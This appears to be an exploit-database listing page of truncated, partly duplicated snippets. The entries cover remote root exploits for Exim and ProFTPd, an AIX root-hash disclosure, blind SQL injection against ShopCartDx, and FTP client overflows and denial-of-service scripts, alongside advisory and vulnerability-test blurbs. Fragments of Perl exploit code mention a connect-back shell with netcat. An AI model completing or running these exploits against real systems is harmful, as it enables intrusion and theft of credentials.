Exim 4.63 - Remote Command Execution

Exim 4.63 RedHat/Centos/Debian Remote Root Exploit by Kingcope Modified perl version of metasploit module =for comment use this connect back shell as "trojanurl" and be sure to setup a netcat, ---snip--- $system = '/bin/sh'; $ARGC=@ARGV; if $ARGC!=2 print "Usage: $0 Host Port \n\n"; die "Ex: $0...

Exim 4.63 - Remote Command Execution

Exim 4.63 - Remote Command Execution Exim 4.63 RedHat/Centos/Debian Remote Root Exploit by Kingcope Modified perl version of metasploit module =for comment use this connect back shell as "trojanurl" and be sure to setup a netcat, ---snip--- $system = '/bin/sh'; $ARGC=@ARGV; if $ARGC!=2 print...

Oracle Secure Backup Administration preauth variable command injection

Added: 12/06/2010 CVE: CVE-2010-0906 BID: 41597 OSVDB: 67128 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A vulnerability in the Administration server allows remote, authenticated attackers to execute arbitrary commands which are...

Perl IO::Socket::SSL 'verify_mode' Security Bypass Vulnerability

The IO::Socket::SSL module for Perl is prone to a security-bypass vulnerability. Successfully exploiting this issue allows attackers to bypass certain security restrictions, which may aid in spoofing attacks. Versions prior to IO::Socket::SSL 1.35 are vulnerable. OpenVAS Vulnerability Test $Id:...

Oracle Secure Backup Administration preauth variable command injection

Added: 12/06/2010 CVE: CVE-2010-0906 BID: 41597 OSVDB: 67128 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A vulnerability in the Administration server allows remote, authenticated attackers to execute arbitrary commands which are...

Oracle Secure Backup Administration preauth variable command injection

Added: 12/06/2010 CVE: CVE-2010-0906 BID: 41597 OSVDB: 67128 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A vulnerability in the Administration server allows remote, authenticated attackers to execute arbitrary commands which are...

Perl IO::Socket::SSL 'verify_mode' Security Bypass Vulnerability

The IO::Socket::SSL module for Perl is prone to a security- bypass vulnerability. Copyright C 2010 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This progr...

HP Data Protector Manager A.06.11 MMD - Null Pointer Dereference Denial of Service

!/usr/bin/perl ================================= HP Data Protector Manager A.06.11 ================================= Bug: NULL Pointer Dereference Remote Denial of Service Vulnerability Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html Date:...

ProFTPd IAC 1.3.x - Remote Command Execution

ProFTPd IAC 1.3.x - Remote Command Execution Exploit Title: ProFTPD IAC Remote Root Exploit Date: 7 November 2010 Author: Kingcope E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563. use IO::Socket; $numtargets = 13; @targets = Plain Stack Smashing Confirmed to work...

rpc.ttdbserverd x86 Proof Of Concept Exploit

Check Point Software Technologies - Vulnerability Discovery Team VDT Rodrigo Rubira Branco - RPC TTDB .rec parser Heap Overflow thrjmptable does not exist on Solaris 10 u8 See the SPARC version of this exploit to see how to specify other addresses to be overwritten use POSIX; use IO::Socket; use...

AIX5l FTP Server Remote Root Hash Disclosure

AIXCOREDUMP.PL --- --== AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT =-- CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS SUCCESSFULLY TESTED ON IBM AIX 5.1 DISCOVERED & EXPLOITED BY KINGCOPE JULY 20...

AIX5l with FTP-Server - Hash Disclosure

AIXCOREDUMP.PL --- --== AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT =-- CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS SUCCESSFULLY TESTED ON IBM AIX 5.1 DISCOVERED & EXPLOITED BY KINGCOPE JULY 20...

ShopCartDx <= v4.30 (product_detail.php) Blind SQL Injection Exploit

Exploit for php platform in category web applications ==================================================================== ShopCartDx newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://www.warwolfz.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = ...

ShopCartDx 4.30 - 'products.php' Blind SQL Injection

!/usr/bin/perl 0-Day ShopCartDx /trafficdemos/shopcartdx1/ my $MemberID = shift or my $Method = HTTP::Request-newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://www.warwolfz.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return...

Perl IO::Socket::SSL 'verify_hostname_of_cert()' Security Bypass Vulnerability

The IO::Socket::SSL module for Perl is prone to a security- bypass vulnerability because the application fails to properly validate certificate hostnames. Successfully exploiting this issue allows attackers to bypass certain security restrictions, which may aid in further attacks. Versions prior ...

Perl IO::Socket::SSL 'verify_hostname_of_cert()' Security Bypass Vulnerability

The IO::Socket::SSL module for Perl is prone to a security- bypass vulnerability because the application fails to properly validate certificate hostnames. Copyright C 2010 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the...

Microsoft Windows Outlook Express and Windows Mail Integer Overflow

Exploit for windows platform in category dos / poc =================================================================== Microsoft Windows Outlook Express and Windows Mail Integer Overflow =================================================================== Application: Microsoft Outlook Express...

NetSarang Xftp 3.0 PWD响应栈溢出漏洞

BUGTRAQ ID: 39628 Xftp是Windows平台上使用的SFTP、FTP文件传输程序。 如果Xftp客户端受骗连接到了恶意的FTP服务器或打开了特制的.xfp会话文件并发送了超长命令的话，则在处理服务器返回的PWD响应时就可能触发栈溢出，导致执行任意代码。 NetSarang Xftp 3.0 厂商补丁： NetSarang --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.netsarang.com/ Exploit Title: Xftp client 3.0 PWD Remote...

Rumba ftp Client 4.2 PASV BoF (SEH)

No description provided by source. Email: darkernetatgmail.com Tested on: Windows XP SP3 SEH overwrite occurs when sending the directory listing to the client with an overly long filename extension.Note version 4.2.3 might also suffer from this. Usage: ./rumbaftpexploit Code: !/usr/bin/perl use...

CompleteFTP v3.3.0 - Remote Memory Consumption DoS

!/usr/bin/perl Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS Author: Jonathan Salwan [email protected] Web: http://www.shell-storm.org | http://www.sysdream.com Advisories: http://www.sysdream.com/article.php?storyid=331&sectionid=78 60 sec for satured 2Go RAM use IO::Socket; prin...